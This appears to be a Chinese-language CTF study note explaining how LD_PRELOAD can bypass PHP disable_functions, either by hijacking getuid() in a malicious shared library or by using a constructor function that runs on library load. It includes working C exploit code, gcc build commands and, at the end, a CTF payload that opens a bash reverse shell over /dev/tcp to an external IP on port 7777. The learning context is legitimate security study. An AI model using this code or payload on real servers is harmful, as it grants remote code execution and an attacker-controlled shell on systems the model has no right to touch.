LD_PRELOAD

M申给我发了两道题,其中一道就是关于LD_PRELOAD的,之前面vn的时候,infer问了我相关的问题没答上来,正好学习一下

引入

LD_PRELOAD(预加载)本身是Linux中的环境变量,用于指定动态库的加载地址。

在Linux程序中,一个程序调用时动态库的加载优先级最高,当LD_PRELOAD变量指定的地址为恶意链接库时,该链接库的调用则会造成危害。我们自己编写的库文件需要保证自定义替换的函数与原函数相同,包括类型和参数

劫持系统函数绕过disable_functions

当系统试图调用某函数时,该函数位于特定的共享库(xxx.so),因此,系统在调用之前将加载xxx.so,换句话说,如果我可以创建一个evil.so有了同名的函数,就能将其覆盖之。

为了彻底搞明白我们正一个简单的php,流程是编写恶意so -> 通过putenv来设置LD_PRELOAD变量 -> 触发wget函数来调用我们编写的恶意so


我们追踪system
strace -f php system.php 2>&1 | grep execve

可以看到就是我们预想的调用了wget

再追踪wget
strace wget 2>&1

readelf -Ws /usr/bin/wget

#查看wget命令使用了哪些库函数

发现存在getuid()能函数,我们就选择getuid

#include 
#include 
#include 
void payload() {
    system("echo sussess > res");
}
int getuid()
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

编译
gcc -fPIC -shared -o evil.so ld.c -ldl

再运行查看是否执行
php system.php

cat res

最终成功执行

劫持共享库

attribute 是 GNU C 里一种特殊的语法,语法格式为:attribute ((attribute-list)),若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行,类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行,比如

// 库加载时自动执行该函数
__attribute__((constructor)) void preload_init() {
    printf("evil.so 被加载了!\n");
    system("echo 自动执行 > res"); // 无需依赖符号冲突,直接执行
}

// 程序退出时执行
__attribute__((destructor)) void preload_exit() {
    printf("程序要退出了...\n");
}

作用有点类似php的那两个魔术方法,其他的这里就先不提

那么思路就很清晰__attribute__((constructor)) 在加载共享库时就会运行,只要编写一个含__attribute__((constructor)) 函数的共享库,然后在PHP中设置LD_PRELOAD环境变量,并且有一个能 fork 一个子进程并触发加载共享库的函数被执行,那么就能执行任意代码

这里放一些相关的函数
一、直接创建子进程(fork 相关)

fork()

vfork()

二、加载新程序(exec 系列)

execve(path, argv, envp)(系统调用)

execl(path, arg0, arg1, ..., NULL)

execvp(file, argv)

三、创建线程(间接影响共享库)

pthread_create()

四、显式加载共享库的函数

dlopen(const char *filename, int flag)

system(const char *command)

总结:触发共享库加载的关键场景
  1. **exec**系列函数:替换进程时加载新程序的依赖库,是最主要的触发方式(依赖动态链接器)。
  2. **system***函数:内部通过 fork+exec 执行命令,间接触发子进程的库加载。
  3. **dlopen**函数:显式在当前进程(或子进程)中加载共享库。

这里放一道M申给的题目

payload

#include 
#include 
#include 
void payload() {
    system("bash -c 'bash -i >& /dev/tcp/8.138.195.149/7777 0>&1'");
}
__attribute__((constructor)) void preload (void)
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

劫持系统函数应该也能通,当然也有可能是我本地有问题